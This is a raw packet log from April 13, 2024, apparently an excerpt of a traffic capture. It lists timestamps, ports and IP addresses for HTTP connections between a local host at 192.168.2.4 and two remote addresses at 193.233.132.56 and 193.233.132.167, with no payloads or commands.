Apr 13, 2024 20:21:08.017018080 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.017030954 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.017056942 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.290174961 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290210962 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290227890 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290245056 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290252924 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290254116 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290266991 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290287018 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290298939 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290298939 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290304899 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290322065 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290324926 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290348053 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290365934 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290383101 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290400982 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290417910 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290426970 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290437937 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290445089 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290456057 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290469885 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290469885 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290474892 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290493011 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290502071 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290510893 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290528059 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290541887 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290545940 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290560961 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290565014 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290584087 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290582895 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290601015 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290616989 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290620089 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290637016 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290647984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290647984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290654898 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290676117 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290678024 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290678024 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290693998 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290698051 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290713072 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290719986 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290734053 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290746927 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290752888 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290771008 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290771961 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290787935 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290796041 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290796041 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290813923 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290821075 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290832996 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290842056 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290859938 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290878057 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290877104 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290895939 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290915012 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290923119 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290923119 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290931940 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290942907 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290951014 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290960073 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290971994 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.290982962 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.290992975 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291004896 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291004896 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291011095 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291028976 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291030884 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291047096 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291054010 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291064978 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291079998 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291079998 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291084051 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291101933 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291104078 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291121960 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291122913 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291140079 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291152954 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291157961 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291177034 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291178942 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291178942 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291193962 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291198015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291212082 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291217089 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291229010 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291237116 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291249990 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291269064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291275024 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291275024 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291286945 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291301012 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291306973 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291318893 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291331053 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291342020 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291349888 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291357994 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291368961 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291377068 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291388035 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291394949 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291407108 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291419983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291419983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291425943 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291439056 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291445017 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291464090 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291477919 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291481018 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291500092 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291503906 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291503906 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291517973 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291527033 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291536093 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291542053 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291555882 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291572094 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291573048 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291593075 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291599035 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291610956 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291619062 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291629076 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291639090 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291647911 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291656017 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291666985 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291676044 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291686058 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291697025 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291704893 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291723013 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291723967 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291723013 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291743040 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291743994 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291762114 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291768074 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291780949 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291785955 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291800022 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291805029 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291816950 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291834116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291841984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291842937 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291851997 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291871071 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291872978 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291872978 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291889906 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291892052 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291912079 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291917086 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291930914 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.291945934 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291970015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291970015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.291980982 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292001009 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292018890 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292028904 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292037010 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292054892 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292056084 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292056084 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292072058 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292079926 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292090893 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292094946 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292109966 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292117119 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292129040 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292144060 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292144060 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292146921 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292165041 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292165995 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292180061 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292182922 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292201042 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292206049 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292228937 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292246103 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292246103 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292254925 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292273045 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292282104 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292289972 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292308092 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292313099 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292329073 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292330027 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292347908 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292351961 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292366028 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292385101 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292392015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292402983 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.292412996 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292438984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.292566061 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.355387926 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355416059 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355433941 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355451107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355468988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355478048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355487108 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355479002 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355504990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355523109 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355540037 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355547905 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355547905 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355547905 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355547905 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355556965 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355576038 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355576992 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355592966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355595112 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355612040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355623960 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355628967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355640888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355648041 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355657101 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355665922 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355676889 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355684042 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355693102 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355700970 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355714083 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355720997 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355732918 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355737925 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355751038 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355756044 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355773926 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355776072 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355776072 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355793953 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355798006 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355817080 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355825901 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355834007 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355844021 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355850935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355864048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355868101 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355880022 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355885983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355895996 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355902910 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355916023 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355922937 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355935097 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355940104 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355951071 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355956078 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355967999 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355974913 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355984926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.355992079 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.355999947 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.356009960 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.356023073 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.356028080 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.356034040 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.356045008 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.356055975 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.356061935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.356079102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.356076002 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.356089115 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.356095076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.356112957 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.356112957 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.356126070 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.356128931 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.356147051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.356149912 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.356158972 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.356163979 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.356180906 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.356182098 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.356197119 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.356199026 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.356220007 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.356225967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.356242895 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.356245995 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.356273890 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.356290102 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.357378006 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357445002 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.357461929 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357536077 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357557058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357572079 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.357580900 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357589006 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.357614994 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357630968 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.357660055 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.357662916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357702017 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.357728958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357747078 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357764959 CEST	49739	80	192.168.2.4	193.233.132.167
